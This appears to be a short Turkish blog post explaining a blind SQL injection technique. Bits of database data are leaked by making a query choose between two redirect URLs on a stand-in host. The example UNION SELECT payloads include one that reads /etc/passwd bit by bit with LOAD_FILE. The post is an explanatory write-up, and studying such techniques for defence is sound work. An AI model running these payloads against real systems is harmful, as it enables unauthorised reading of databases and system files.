Geçenlerde elime bir doküman geçti sql injection ile alakalı. Pratikte deneme fırsatım olmadı fakat yöntem olarak oldukça ilginç ve zekice bulduğumdan burada bahsetmek gereği duydum.
Öncelikle ortamdan bahsedeyim. Bir içerik yönetim sistemimiz(yazının verdiği örneğe bağlı kalmak açısından) olsun ve aşağıdaki gibi bir http request gönderdiğimizde hemen altındaki gibi cevap alıyoruz olalım.
GET http://host/getdocument.php?id=0
header: Location : http://host/documents/identity_en.pdf
GET http://host/getdocument.php?id=22
header: Location : http://host/error404.php
GET http://host/getdocument.php?id=22 UNION SELECT ‘identity’,0
header: Location : http://host/documents/identity_en.pdf
GET http://host/getdocument.php?id=22 UNION SELECT ‘identity’,1
header: Location : http://host/documents/identity_de.pdf
Basit olarak açıklamak gerekirse :
*Kullanıcı bir id belirtir,
*getdocument.php bu id ye karşılık veritabanından dosya adını ve dosya dilini ifade eden bir integer geri döndürür,
*sayfa bu verileri kullanarak bir url oluşturur ve kullanıcıyı bu url ye yönlendirir.
Yukarıdaki örnekleri incelersek, evet url sql injection a müsait fakat burada standart sql injection uygulayarak elde edebileceğimiz tek şey zaten varlığını bildiğimiz bir dökümandır.
Şimdi veritabanından gelen ikinci veri olan integer, eğer 0 ise bu url ye ‘en’ ekinin, 1 ise ‘de’ ekinin eklenmesini sağlıyor.Bunu nasıl kullanabiliriz? Bilgisayar ortamındaki her şeyin 0 ve 1 lerle ifade edilebildiğini hatırlarsak, yazı baya baya anlamlı olmaya başlıyor.
Bir sonraki örneklerde binary değer “01000001” olan ascii “A” yı kullanarak bakalım neler elde edebiliyoruz.
GET http://host/getdocument.php?id=22 UNION SELECT ‘identity’,(SELECT ASCII(‘A’) >> 7 & 1)
header: Location : http://host/documents/identity_en.pdf
GET http://host/getdocument.php?id=22 UNION SELECT ‘identity’,(SELECT ASCII(‘A’) >> 6& 1)
header: Location : http://host/documents/identity_de.pdf
Görüleceği üzere right-shift olayını 7 den 0 kadar iterate ettiğimizde elimizde sırası ile şu dosyalar olacak.:“en,de,en, en, en, en, en,de”
Buna artı olarak bir verinin boyutunu “LENGTH()” methoduyla alabildiğimizi ve bu method sonunda 32 bitlik(int) bir veri elde edebileceğimizi hatırlarsak, ne kadar iterate etmemiz gerektiği sorununu da çözmüş oluyoruz.
Sonuç olarak şöyle bir request hiçde şaşırtıcı gelmeyecektir.
GET http://host/getdocument.php?id=22 UNION SELECT ‘identity’,(SELECT LOAD_FILE(‘/etc/passwd’) >> 3300 & 1)
Geri dönen url yönlendirmelerinin değerine bakarak 3300 sayılı bitte 0 yada 1 olduğunu bulduktan sonra, değerleri bit-by-bit uç-uca eklersek ne elde edeceğimiz malum.
Bunu dosya boyutu kadar iterate edecek script yazmak çokta zor olmasa gerek.
Derdimi anlatamama ihtimaline karşı orjinal dokumanı Dosyalarım bölümüne ekliyorum.
Hiç yorum yok:
Yorum Gönder